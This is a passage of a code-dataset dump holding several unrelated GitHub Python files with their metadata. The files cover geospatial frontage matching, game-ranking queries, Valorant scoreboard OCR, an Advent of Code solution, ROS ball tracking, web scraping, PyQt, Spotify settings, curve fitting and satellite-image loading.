blockface_targets, building_targets = _get_block_data(\n block[blocks_uid_col], blockfaces, buildings,\n blockfaces_block_uid_col='block_id', buildings_block_uid_col='block_id'\n )\n for _, blockface_target in blockface_targets.iterrows():\n result = _frontages_on_blockface(\n building_targets, blockface_target, buildings_uid_col=buildings_uid_col,\n blocks_uid_col=blocks_uid_col, blockfaces_uid_col=blockfaces_uid_col,\n step_size=step_size\n )\n frontages.append(result)\n\n frontages = gpd.GeoDataFrame(pd.concat([f for f in frontages if len(f) > 0]))\n if len(frontages) == 0:\n return frontages\n else:\n return frontages.groupby(buildings_uid_col).apply(\n lambda df: df.assign(\n frontage_id=[f'{df.iloc[0].loc[buildings_uid_col]}_{n}' for n in range(len(df))]\n )\n ).reset_index(drop=True)\n\n\ndef select_area_of_interest(blocks, poly):\n \"\"\"Select all blocks that are within the boundaries given. Utility function.\"\"\"\n return blocks[blocks.geometry.map(lambda block: poly.contains(block))]\n\n\ndef _distance(line, point):\n \"\"\"Returns the distance between a line and a point.\"\"\"\n proj_pos = line.project(point, normalized=True)\n proj_point = line.interpolate(proj_pos, normalized=True)\n dist = proj_point.distance(point)\n return dist\n\n\ndef points_on_frontages(\n points, frontages, frontage_uid_col='frontage_id', frontage_block_uid_col='block_id',\n frontage_building_uid_col='building_id', frontage_blockface_uid_col='blockface_id'\n):\n \"\"\"\n Given a sequence of `points` and `frontages`, assigns points to frontages in the dataset.\n \"\"\"\n # import spaghetti as spgh\n # net = spgh.Network(in_data=frontages)\n # net.snapobservations(points, 'points')\n # snapped_gdf = spgh.element_as_gdf(net, pp_name='points', snapped=True).geometry\n # return snapped_gdf\n\n index = _create_index(frontages)\n idxs = points.geometry.map(lambda g: list(index.nearest(g.bounds, 5)))\n frontage_groups = idxs.map(lambda idx_group: frontages.iloc[idx_group]).values\n\n new = []\n for i in range(len(points)):\n point = points.iloc[i]\n frontage_group = frontage_groups[i]\n\n distances = [_distance(frontage.geometry, point.geometry) for _, frontage \n in frontage_group.iterrows()]\n frontage_idx = np.argmin(distances)\n frontage = frontages.iloc[frontage_group.index[frontage_idx]]\n new.append(pd.DataFrame(\n [{\n 'frontage_id': frontage[frontage_uid_col],\n 'block_id': frontage[frontage_block_uid_col],\n 'building_id': frontage[frontage_building_uid_col],\n 'blockface_id': frontage[frontage_blockface_uid_col]\n }]\n ))\n\n new = pd.concat(new, axis='rows')\n return points.assign(\n frontage_id=new[frontage_uid_col].values,\n block_id=new[frontage_block_uid_col].values,\n building_id=new[frontage_building_uid_col].values,\n blockface_id=new[frontage_blockface_uid_col].values\n )\n","repo_name":"ResidentMario/streetmapper","sub_path":"streetmapper/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":16343,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"63"} +{"seq_id":"42194588525","text":"import odbc\n\nconnect = odbc.odbc('oasis')\ndb = connect.cursor()\n\ndb.execute('''select MAX(title) from oasis.games group by id_title''')\ngame_titles = db.fetchall()\n\nsql = '''select * from oasis.games where title LIKE \"%s\" '''\ngap = 0\nmost_increase = ''\n\ncontainer = []\ngaps = []\n\n\nclass GameInfo:\n def __init__(self, title, rank_avg):\n self.title = title\n self.rank_avg = rank_avg\n\n def __repr__(self):\n return repr((self.title, self.rank_avg))\n\n\nfor i, game_title in enumerate(game_titles):\n db.execute(sql % game_title[0])\n games = db.fetchall()\n\n rank_sum = 0\n for game in games:\n rank_sum += game[2]\n rank_avg = rank_sum / len(games)\n\n container.append(GameInfo(game_title[0], rank_avg))\n\nresult = sorted(container, key=lambda s: s.rank_avg, reverse=False)\nsql = '''select * from '''\nfor index, i in enumerate(result):\n if i.rank_avg > 100:\n continue\n print('#', index, i.title)\n print('rank_avg', i.rank_avg)\n\n print('------------------------')\n","repo_name":"21jun/steam-topseller-parser","sub_path":"AverageRanking.py","file_name":"AverageRanking.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"24632086937","text":"import numpy as np\nimport os\nimport json\nimport pytesseract as pyt\nimport cv2 as cv\nfrom vision import ObjVision\n\npyt.pytesseract.tesseract_cmd = r'C:\\Users\\zanec\\AppData\\Local\\Tesseract-OCR\\tesseract.exe'\n\ndef text_read(text_input):\n img = np.ascontiguousarray(text_input)\n img = cv.resize(img, None, fx=1.75, fy=1.75, interpolation=cv.INTER_CUBIC)\n img = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n text = pyt.image_to_string(img, config=\"--psm 6\")\n return text\n\nclass valCapture:\n\n def __init__(self):\n self.agent = ''\n self.is_alive = True\n self.username = ''\n\nclass valAnalysis:\n\n def valread(img):\n\n vision = ObjVision()\n agent_directory = r'C:\\Users\\zanec\\PycharmProjects\\customUI\\agent_icons'\n\n #\\\\\\1\\\\\\ opens json to write objects\n with open('C:\\\\Users\\\\zanec\\\\PycharmProjects\\\\customUI\\\\data.json', 'w') as file:\n\n #\\\\\\2\\\\\\ iterating through scoreboard\n #where list contains cropped images\n img = cv.imread(r'C:\\Users\\zanec\\PycharmProjects\\customUI\\test_images\\test_feed_4.png')\n\n bar_l = img[30:71, 430:768]\n bar_r = img[30:71, 1149:1449]\n\n P1 = img[339:374, 572:1348]\n P2 = img[374:407, 572:1348]\n P3 = img[407:440, 572:1348]\n P4 = img[440:473, 572:1348]\n P5 = img[473:507, 572:1348]\n P6 = img[570:603, 572:1348]\n P7 = img[604:637, 572:1348]\n P8 = img[637:670, 572:1348]\n P9 = img[672:705, 572:1348]\n P10 = img[705:738, 572:1348]\n\n list = [P1, P2, P3, P4, P5, P6, P7, P8, P9, P10]\n\n j = 0\n\n for i in list:\n\n x = 0\n j += 1\n print(j)\n\n ValObject = valCapture()\n while ValObject.agent == '':\n print(x)\n x += 0.05\n for filename in os.listdir(agent_directory):\n\n f = os.path.join(agent_directory, filename)\n # checking if it is a file\n if os.path.isfile(f):\n\n # turn image into readable input\n agent = i[0:375, 0:42]\n agent_input = cv.imread(f, cv.IMREAD_UNCHANGED)\n agent_input = agent_input[..., :3]\n agent_input[np.where((agent_input == [0, 0, 0]).all(axis=2))] = [175, 175, 175]\n\n # run matchtemplate\n # if display returns true\n if vision.findObjects(agent_input, agent, x):\n\n print('found the gamer')\n # need to rename files to viper.png etc.\n # assigns filename to agent attribute\n agent_name = filename.split(\".\")[0]\n ValObject.agent = str(agent_name)\n print(ValObject.agent)\n\n # \\\\\\5\\\\\\ check for is_alive\n # resizes original agent image to fit top bar\n bar = cv.resize(agent_input, None, fx=1.21875, fy=1.21875, interpolation=cv.INTER_CUBIC)\n\n # figuring out which side to choose\n if j <= 5:\n bar_side = bar_l\n print('left side')\n elif j >= 6:\n bar_side = bar_r\n bar = cv.flip(bar, 1)\n\n else:\n print('error weird number')\n\n if vision.findObjects(bar, bar_side, 0.35):\n ValObject.is_alive = True\n print(\"alive\")\n else:\n ValObject.is_alive = False\n print(\"dead\")\n\n # \\\\\\6\\\\\\ text detection part 1: username\n username = i[0:375, 72:241]\n ValObject.username = text_read(username)\n json_export = json.dumps(ValObject.__dict__)\n\n if ValObject.agent == '':\n print('missing')\n\n else:\n file.write(json_export)\n\n\n\n\nimage = cv.imread(r'C:\\Users\\zanec\\PycharmProjects\\customUI\\test_images\\test_feed_4.png')\nvalAnalysis.valread(image)\n\n","repo_name":"injaneity/VALoverlay","sub_path":"valobject.py","file_name":"valobject.py","file_ext":"py","file_size_in_byte":4689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"11426088767","text":"#Advent of Code 2020 Day 24\n\nf = open('C:/Users/Simon/OneDrive/Home Stuff/Python/Advent of Code/2020/2020-24.txt')\nstate = f.read()\ninput=state.splitlines()\n\nclass Hex(): #Hex coordinate pair with e and ne coords\n def __init__(self,c):\n\n self.str2tup={'ne':(0,1),'e':(1,0),'se':(1,-1),'sw':(0,-1),'w':(-1,0),'nw':(-1,1)} #Conversion of direction strings to coordinates\n\n if type(c) is tuple: #Input in form of tuple/list pair\n self.c=c\n\n elif type(c) is str: #Input in form of str direction\n self.c=self.str2tup[c]\n\n def __add__(self,other): #Add two Hex objects together\n return(Hex(tuple(map(lambda x, y: x + y,self.c,other.c))))\n\n def __eq__(self,other): #Test for equality\n return(self.c==other.c)\n\n def __hash__(self):\n return(hash(self.c))\n\n def __str__(self):\n return(self.__repr__())\n\n def __repr__(self):\n return('Hex('+str(self.c)+')')\n\nclass Floor():\n def __init__(self,input):\n self.tiles=set()\n self.current=Hex((0,0)) #Origin\n self.instrs=[]\n for l in input:\n self.instrs.append(l.replace('e','e,').replace('w','w,')[:-1].split(','))\n print(self.all_line_ends())\n\n def move(self,c): #Move one step\n self.current+=Hex(c)\n\n def follow_line(self,line): #Reset to orgin then follow one line of instructions\n self.current=Hex((0,0)) #Reset to origin\n for x in line:\n self.move(x)\n\n def all_line_ends(self):\n for i in self.instrs:\n self.follow_line(i)\n c=self.current\n if c in self.tiles: #If tile has already been flipped, flip it back\n self.tiles.remove(c)\n else: #If tile has not been flipped, flip it\n self.tiles.add(c)\n return(self.count_black())\n\n def update_bounds(self):\n #Find bounds of map\n self.minE=min(self.tiles,key=lambda x:x.c[0]).c[0]\n self.maxE=max(self.tiles,key=lambda x:x.c[0]).c[0]\n self.minNE=min(self.tiles,key=lambda x:x.c[1]).c[1]\n self.maxNE=max(self.tiles,key=lambda x:x.c[1]).c[1]\n\n def nAdjacent(self,h): #For a given hex, check how many of its 6 neighbours are equal to state\n count=0\n for d in ('ne','e','se','sw','w','nw'):\n nPos=h+Hex(d)\n if nPos in self.tiles: #Do not count cube as its own neighbour \n count+=1\n return(count)\n\n def update(self): #Check adjacent tiles and update each tile\n self.update_bounds() #Update bounds as they will expand over time\n to_add=set() #Tiles that will be added after current state\n to_remove=set() #Tiles that will be removed after current state\n #For each dimension, check from 1 before the min to 1 after the max\n for e in range(self.minE-1,self.maxE+2):\n for ne in range(self.minNE-1,self.maxNE+2):\n pos=Hex((e,ne))\n if pos in self.tiles:\n if self.nAdjacent(pos) not in (1,2):\n to_remove.add(pos)\n else:\n if self.nAdjacent(pos)==2:\n to_add.add(pos)\n\n self.tiles-=to_remove\n self.tiles|=to_add\n\n def update_n_times(self,n):\n for x in range(n):\n if x%10==1:\n print('Step '+str(x))\n self.update()\n\n def count_black(self): #Return number of black\n return(len(self.tiles))\n\nfloor=Floor(input)\nfloor.update_n_times(100)\nprint(floor.count_black())","repo_name":"sijapu17/Advent-of-Code","sub_path":"2020/2020-24.py","file_name":"2020-24.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"63"} +{"seq_id":"34519943128","text":"#!/usr/bin/env python\nimport rospy\nimport cv2\nimport numpy as np\nfrom cv_bridge import CvBridge \n\nfrom geometry_msgs.msg import Twist\nfrom geometry_msgs.msg import Point\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image\n\n'''\nFunction for detecting the ball \nand returning its coordinate\n'''\ndef detectBall(frame):\n\tglobal counter, X, Y\n\tcounter += 1\n\n\t\n\tcolorLower = ( 0, 75,145)\n\tcolorUpper = ( 50,255,255)\n\ti1, i2 = 3, 5\n\n\thsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\tmask = cv2.inRange(hsv, colorLower, colorUpper)\n\tmask = cv2.erode(mask, None, iterations=i1)\n\tmask = cv2.dilate(mask, None, iterations=i2)\n\t\n\t(_,cnts, _) = cv2.findContours(mask.copy(), \\\n\t\tcv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n\n\tif counter%4 == 0:\n\t\tX, Y = [], []\n\n\tfor (i,c) in enumerate(cnts):\n\t\tarea = cv2.contourArea(c)\n\t\tperimeter = cv2.arcLength(c, True)\n\t\tif area > 1000 and perimeter > 100:\n\t\t\tprint (\"Contour #%d -- area: %.2f, perimeter: %.2f\" \\\n\t\t\t\t% (i + 1, area, perimeter))\t\t\t\n\t\t\tc = max(cnts, key=cv2.contourArea)\n\t\t\tM = cv2.moments(c)\n\t\t\t(cX, cY) = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\n\t\t\tX.append(cX)\n\t\t\tY.append(cY)\n\n\tif X and Y:\n\t\tcX = int(sum(X)/len(X))\n\t\tcY = int(sum(Y)/len(Y))\n\t\treturn cX, cY, mask\n\telse:\n\t\treturn -100, -100, mask\n\ndef image_callback(data):\n\tglobal cX, cY, pub\n\n\timage = bridge.imgmsg_to_cv2(data, \"bgr8\")\n\th , w = image.shape[:2]\n\n\tcX, cY, mask = detectBall(image)\n\n\tpoint = Point()\n\tpoint.x = cX\n\tpoint.y = cY\n\tpoint.z = w \n\tpub_point.publish(point)\n\n\tlength = int(w/100)\n\t(startX, endX) = (int(cX - length), int(cX + length))\n\t(startY, endY) = (int(cY - length), int(cY + length))\n\tcv2.line(image, (startX, cY), (endX, cY), (0, 0, 255), 2)\n\tcv2.line(image, (cX, startY), (cX, endY), (0, 0, 255), 2)\n\n\nif __name__ == '__main__':\n\tglobal counter, X, Y, cX, cY, pub\n\tcounter = 0\n\tX, Y = [], []\n\n\trospy.init_node('find_ball', anonymous=True)\n\n\timg_sub = rospy.Subscriber(\"/camera/rgb/image_raw\",Image,image_callback)\n\tbridge = CvBridge()\n\t\n\tpub_point = rospy.Publisher('/ball_location', Point, queue_size=5)\n\trospy.spin()\n","repo_name":"Sanjaybganesha/Ball-Tracking-Robot","sub_path":"src/balltrack.py","file_name":"balltrack.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"41084917796","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom bs4 import BeautifulSoup\nimport time\nimport pandas as pd\n\nurl = 'https://www.mediamarkt.es/es/product/_secadora-aeg-t7dbg841-bomba-de-calor-8-kg-a-blanco-1455590.html'\n\ndriver = webdriver.Chrome() \n\ntry:\n driver.get(url)\n # Sleep to allow the page to load (you can adjust the time as needed)\n time.sleep(10)\n\n # Get the page source after JavaScript execution\n page_source = driver.page_source\n\n # Parse the page source using BeautifulSoup\n soup = BeautifulSoup(page_source, 'html.parser')\n # Extracting the title, price, and description\n title_element = soup.find('h1', class_='sc-hLBbgP')\n title = title_element.text.strip() if title_element else \"Title not found\"\n\n price_element = soup.find('span', {'data-test': 'branded-price-whole-value'})\n price = price_element.text.strip() if price_element else \"Price not found\"\n\n description_element = soup.find('div', class_='index-styled__StyledPdpContentArea-sc-55a771f1-0 hkjvvF')\n description = description_element.text.strip() if description_element else \"Description not found\"\n\n # Create a DataFrame\n data = {\n 'Title': [title],\n 'Price': [price],\n 'Description': [description]\n }\n df = pd.DataFrame(data)\n\n # Save the DataFrame to a CSV file\n df.to_csv('output.csv', index=False)\n\n # Print the DataFrame\n print(df)\n\nfinally:\n driver.quit()\n","repo_name":"Kurokami47/mediamarkt-scraper","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"5161573727","text":"\nfrom PyQt4 import QtGui, QtCore, QtWebKit\n#from QtCore.QObject import connect, disconnect\n#from PyQt4.QObject import connect, disconnect\nfrom PyQt4.Qt import Qt\n\nclass MSearchToolbar(QtGui.QWidget):\n\n def __init__(self, parent=None):\n '''\n `user` is a QAbstractScrollArea\n '''\n QtGui.QWidget.__init__(self, parent)\n #self.setStyleSheet('background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 100, stop: 0 #dd0000, stop: 1 #D9D9D9) ')\n\n\n def paintEvent(self, e):\n super(MSearchToolbar, self).paintEvent(e)\n painter = QtGui.QPainter(self)\n\n # background\n gradient = QtGui.QLinearGradient(0, 0, 0, self.height())\n gradient.setColorAt(0, QtGui.QColor(0xed, 0xed, 0xed, 255))\n gradient.setColorAt(1, QtGui.QColor(0xd9, 0xd9, 0xd9, 255))\n painter.setBrush(gradient)\n painter.setPen(Qt.NoPen)\n painter.drawRect(0, 0, self.width(), self.height())\n\n # bottom line\n line_color = QtGui.QColor(0x9f, 0x9f, 0x9f, 255)\n painter.setPen(line_color)\n painter.drawLine(0, self.height() - 1, self.width() - 1, self.height() - 1)\n\n\n\n\n\n","repo_name":"aehlke/manabi-dict","sub_path":"src/manabidict/ui/msearchtoolbar.py","file_name":"msearchtoolbar.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"63"} +{"seq_id":"43090011438","text":"# Client Keys\nSPOTIPY_CLIENT_ID = \"id\"\nSPOTIPY_CLIENT_SECRET = \"secret\"\n\n# Spotify URLS\nSPOTIFY_AUTH_URL = \"https://accounts.spotify.com/authorize\"\nSPOTIFY_TOKEN_URL = \"https://accounts.spotify.com/api/token\"\nSPOTIFY_API_BASE_URL = \"https://api.spotify.com\"\nAPI_VERSION = \"v1\"\nSPOTIFY_API_URL = \"{}/{}\".format(SPOTIFY_API_BASE_URL, API_VERSION)\n\n# Server-side Parameters\nSPOTIPY_REDIRECT_URI = 'http://localhost:8888'\nSCOPE = 'user-library-read'\nCACHE = '.spotipyoauthcache'\n\nPORT = 8000\nSTATE = \"\"\nSHOW_DIALOG_bool = False\nSHOW_DIALOG_str = str(SHOW_DIALOG_bool).lower()\n\nauth_query_parameters = {\n \"response_type\": \"code\",\n \"redirect_uri\": SPOTIPY_REDIRECT_URI,\n \"scope\": SCOPE,\n # \"state\": STATE,\n # \"show_dialog\": SHOW_DIALOG_str,\n \"client_id\": SPOTIPY_CLIENT_ID\n}\n","repo_name":"Hackathon-Code-Stage-Edition2/team52project","sub_path":"app/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"622276579","text":"import numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\n\nv = np.array([5.8, 7.3, 8.9, 10.6, 11.2])\ndv = np.array([0.3, 0.3, 0.2, 0.2, 0.1])\n\nF = np.array([0.10, 0.15, 0.22, 0.33, 0.36])\ndF = np.array([0.02, 0.02, 0.02, 0.02, 0.02])\n\n\ndef func(v, b, n):\n return b * abs(v) ** n\n\n\npopt, pcov = scipy.optimize.curve_fit(func, v, F)\nprint(popt)\nprint(pcov)\n\nb, n = popt\ndb, dn = np.sqrt(np.diag(pcov))\n\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\nax.set_xlabel(\"v [m/s]\")\nax.set_ylabel(\"F [N]\")\nax.grid()\n\nv_fit = np.linspace(np.min(v), np.max(v), 500)\nF_fit = func(v_fit, b, n)\nax.plot(v_fit, F_fit, '-', zorder=2)\n\nax.errorbar(v, F, xerr=dv, yerr=dF, fmt='.', capsize=2, zorder=3)\n\nplt.show()\n","repo_name":"DarakDuVal/pyph","sub_path":"ch_3/exercise_3-4.py","file_name":"exercise_3-4.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"72005996680","text":"import numpy as np\nimport scipy.integrate\nimport random\n\nimport time\nimport matplotlib.pyplot as plt\n\n#funcion de prueba\ndef cuadrado(x):\n return x*x\n\n#no iterativo\ndef integra_mc(fun, a, b, num_puntos=10000):\n puntos = np.linspace(a, b+1, b-a)\n max = np.max(fun(puntos))\n\n puntosX = (np.random.rand(num_puntos) * (b-a)) + a \n puntosY = np.random.rand(num_puntos) * max\n\n puntosFuncionY = fun(puntosX)\n\n elems = np.sum(puntosY < puntosFuncionY)\n\n return ((max * (b-a)) * (elems /num_puntos))\n\n#iterativo\ndef integra_mc_2(fun, a, b, num_puntos=10000):\n i = a\n max = fun(a)\n for i in range(b): ##remember for num in nums if num < 0\n if(max < fun(i)): max = fun(i)\n \n i = 0\n puntosX = []\n puntosY = []\n for i in range(num_puntos):\n puntosX.append(random.random() * (b-a) + a)\n puntosY.append(random.random() * max)\n\n puntosFuncionY = []\n i = 0\n for i in range(num_puntos):\n puntosFuncionY.append(fun(puntosX[i]))\n \n cont = 0\n for i in range(num_puntos):\n if puntosY[i] < puntosFuncionY[i] : cont += 1\n \n return ((max * (b-a)) * (cont /num_puntos))\n\n\ndef pinta_grafica():\n masPunticos = 20000\n puntosTotales = 10000\n sizes = np.linspace(100,10000000,20)\n tiempo_bucle = []\n tiempo_np = []\n\n for size in sizes:\n x1 = random.randint(1,100)\n x2 = random.randint(1,100)\n\n if x1 > x2 : x1,x2 = x2,x1\n\n time_ini = time.process_time()\n integra_mc(cuadrado, x1, x2, puntosTotales)\n tiempo_np += [1000*(time.process_time() - time_ini)]\n \n time_ini = time.process_time()\n integra_mc_2(cuadrado, x1, x2, puntosTotales)\n tiempo_bucle += [1000*(time.process_time() - time_ini)]\n\n puntosTotales += masPunticos\n \n plt.figure()\n plt.scatter(sizes,tiempo_bucle,c = 'red',label='bucle')\n plt.scatter(sizes,tiempo_np,c = 'blue',label='numpy')\n plt.legend()\n plt.savefig('time.png')\n plt.show()\n\narea = integra_mc(cuadrado, 10, 40)\nx1 = np.random.uniform(1,100)\n#print(type(x1))\nprint(\"Área con numpy: \", area)\n\narea = integra_mc_2(cuadrado, 10, 40)\nx1 = np.random.uniform(1,100)\n#print(type(x1))\nprint(\"Área con bucles: \", area)\n\narea2 = scipy.integrate.quad(cuadrado, 10, 40)\nprint(\"Área real: \", area2[0])\n#print(type(area))\n#pinta_grafica()","repo_name":"leoses/Aprendizaje-automatico","sub_path":"práctica_00/práctica_00.py","file_name":"práctica_00.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"474679127","text":"from typing import List\n\n\ndef get_cell_str(prob):\n def prob_to_one_digit(p):\n v = int(p * 10 + 0.05)\n if v > 9:\n return \"A\"\n else:\n s = str(v)\n assert len(s) == 1\n return s\n\n prob_digits: List[str] = list(map(prob_to_one_digit, prob))\n cell_str = \"\".join(prob_digits)\n return cell_str\n\n\ndef prob_to_color(prob):\n color_mapping = {\n 0: 2, # Red = Contradiction\n 1: 1, # Green = Neutral\n 2: 0 # Blue = Entailment\n }\n color_score = [255 * prob[color_mapping[i]] for i in range(3)]\n return color_score","repo_name":"clover3/Chair","sub_path":"src/visualize/nli_visualize.py","file_name":"nli_visualize.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"38341104190","text":"import numpy as np\nimport tensorflow as tf\nfrom glob import glob\nimport rasterio\nfrom ieee_grss_dse.data_processing.data_processing_utils import get_args\n\n\ndef channel_flatten_array(array):\n '''\n Function that flattens an array along its timesteps and channels\n\n :param array: Input array of shape (timesteps, height, width, bands)\n :return: channel_flattened_array of shape (timesteps*bands, height, width)\n '''\n array = np.moveaxis(array, [0, 1, 2, 3], [0, 2, 3, 1])\n channel_flattened_array = np.reshape(array, (array.shape[0] * array.shape[1],\n array.shape[2], array.shape[3]))\n\n return channel_flattened_array\n\ndef load_tile_names(args, config='train'):\n tile_paths = glob(f'{args.data_dir}/{config}/*/')\n tiles = [i.split('/')[-2] for i in tile_paths]\n\n return tiles\n\ndef stack_images_by_date_and_band(image_files, dates, dtype):\n stack_list_dates_first = []\n\n for date in dates:\n image_bands_for_date = [i for i in image_files if date in i]\n image_band_list = []\n\n for band in image_bands_for_date:\n image_band = rasterio.open(band, 'r').read()\n image_band_list.append(image_band)\n\n image_stack_for_date = np.stack(image_band_list, -1).astype(dtype)\n stack_list_dates_first.append(image_stack_for_date)\n\n image_stack = np.concatenate(stack_list_dates_first, axis = 0)\n image_stack = channel_flatten_array(image_stack)\n\n return image_stack\n\ndef load_sar_images(args, tile, config='train'):\n dtype = np.float32\n\n sar_image_files = glob(f'{args.data_dir}/{config}/{tile}/S1A*.tif')\n dates = np.unique([i.split('_')[-2] for i in sar_image_files])\n image_stack = stack_images_by_date_and_band(sar_image_files, dates, dtype)\n\n return image_stack\n\ndef load_s2_images(args, tile, config='train'):\n dtype = np.uint16\n\n s2_image_files = glob(f'{args.data_dir}/{config}/{tile}/L2A*.tif')\n\n dates = np.unique([i.split('_')[-2] for i in s2_image_files])\n image_stack = stack_images_by_date_and_band(s2_image_files, dates, dtype)\n\n return image_stack\n\ndef load_l8_images(args, tile, config='train'):\n dtype = np.float32\n\n l8_image_files = glob(f'{args.data_dir}/{config}/{tile}/LC08*.tif')\n dates = np.unique([i.split('_')[-2] for i in l8_image_files])\n image_stack = stack_images_by_date_and_band(l8_image_files, dates, dtype)\n\n return image_stack\n\ndef load_dnb_images(args, tile, config='train'):\n dtype = np.uint16\n\n dnb_image_files = glob(f'{args.data_dir}/{config}/{tile}/DNB*.tif')\n dates = np.unique([i.split('_')[-1] for i in dnb_image_files])\n image_stack = stack_images_by_date_and_band(dnb_image_files, dates, dtype)\n\n return image_stack\n\ndef load_groundtruth(args, tile, config='train'):\n\n gt_file = f'{args.data_dir}/{config}/{tile}/groundTruth.tif'\n gt_image = rasterio.open(gt_file, 'r').read()\n\n return gt_image.astype(np.uint8)\n\n\nif __name__ == '__main__':\n args = get_args()\n load_s2_images(args, tile='Tile1')\n","repo_name":"tconlon/ieee_grss_dse","sub_path":"data_processing/load_raw_images_by_type.py","file_name":"load_raw_images_by_type.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"63"} +{"seq_id":"17600994442","text":"from django.utils.translation import ugettext_lazy as _\n\n\nPROFILE_QUESTION_WEIGHT_OPTIONS = (\n ('q2', 'Uitdagingen voor Nederland'),\n ('q3', 'Nadruk kandidaat'),\n ('q4', 'Expertise kandidaat'),\n ('q5', 'Werkervaring kandidaat'),\n ('q6', 'Politieke ervaring kandidaat'),\n ('q7', 'Doelgroep(en) van de kandidaat'),\n ('q8', 'Motivatie van de kandidaat'),\n ('q9', 'Opleiding kandidaat'),\n ('q10', 'Religieuze motivatie kandidaat'),\n ('q11', 'Leeftijd kandidaat'),\n ('q12', 'Geslacht kandidaat'),\n ('q27', 'Coalitie'),\n)\n\n\nQTYPE_NORM_POLONECHOICE_VISONECHOICE = 'C'\nQTYPE_NORM_POLONECHOICE_VISONECHOICE_SECRET = 'CS'\nQTYPE_NORM_POLONECHOICE_VISONECHOICE_RANGE = 'G'\nQTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE = 'A'\nQTYPE_NORM_POLBOOL_VISBOOL = 'B'\nQTYPE_MODEL_POLMULTICHOICE_VISONECHOICE = 'D'\nQTYPE_MODEL_POLONECHOICE_VISMULTICHOICE = 'E'\nQTYPE_MODEL_POLMULTICHOICE_VISMULTICHOICE = 'F'\nQTYPE_MODEL_PARTY = 'Z'\nQTYPE_MODEL_POLITICAL_EXPERIENCE_YEARS = 'Y'\nQTYPE_MODEL_POLITICAL_EXPERIENCE_TYPE = 'I'\nQTYPE_MODEL_WORK_EXPERIENCE_TYPE = 'J'\nQTYPE_MODEL_EDUCATION_LEVEL = 'X'\nQTYPE_MODEL_PROFILE_RELIGION = 'W'\nQTYPE_MODEL_PROFILE_AGE ='U'\nQTYPE_MODEL_PROFILE_GENDER ='T'\nQTYPE_MODEL_PROFILE_QUESTION_WEIGHT = 'H'\nQTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE_MIN_THREE = 'KS'\n\nQUESTION_TYPE_CHOICES = (\n(QTYPE_MODEL_POLITICAL_EXPERIENCE_TYPE, _('Politician political experience, vistor selects a sector')),\n(QTYPE_MODEL_WORK_EXPERIENCE_TYPE, _('Politician work experience, vistor selects a sector')),\n(QTYPE_NORM_POLONECHOICE_VISONECHOICE_RANGE, _('Politicians chooses one, Visitor selects one but calculation based on meta')),\n(QTYPE_MODEL_PROFILE_AGE, _('Politicians Age, Visitor Selects age range')),\n(QTYPE_MODEL_PROFILE_GENDER, _('Politicians gender, Visitor Selects gender')),\n(QTYPE_MODEL_PROFILE_RELIGION, _('Politicians religon, Visitor Selects religons')),\n(QTYPE_MODEL_EDUCATION_LEVEL, _('Politicians education level, Visitor Selects range')),\n(QTYPE_MODEL_PROFILE_QUESTION_WEIGHT, _('Politicians Question Themes, Visitor Selects Theme')),\n(QTYPE_MODEL_POLITICAL_EXPERIENCE_YEARS, _('Politicians political experience years, Visitor Selects range')),\n(QTYPE_MODEL_PARTY, _('Politicians work experience, Visitor Selects multiple from model')),\n(QTYPE_NORM_POLONECHOICE_VISONECHOICE, _('Politician Chooses One, Visitor Selects One')),\n(QTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE, _('Politician Chooses Multiple, Visitor Selects Multiple')),\n(QTYPE_NORM_POLBOOL_VISBOOL, _('Both Politician and Visitor selects (yes/no, agree/disagree)')),\n(QTYPE_MODEL_POLMULTICHOICE_VISONECHOICE, _('Politcian profile detais are used, Visitor Selects One')),\n(QTYPE_MODEL_POLONECHOICE_VISMULTICHOICE, _('Politcian profile detais are used, Visitor Selects Multiple')),\n(QTYPE_MODEL_POLMULTICHOICE_VISMULTICHOICE, _('Politcian model information has multiple correct answers, Visitor Selects Miltiple')),\n(QTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE_MIN_THREE, _('Both Politiciian and Visitor selects at least 3 items of a list')),\n(QTYPE_NORM_POLONECHOICE_VISONECHOICE_SECRET, _('Politician Chooses One, Secret question')),\n)\n# Question types that will return multiple answers\nMULTIPLE_ANSWER_TYPES = (QTYPE_MODEL_POLITICAL_EXPERIENCE_TYPE,\n 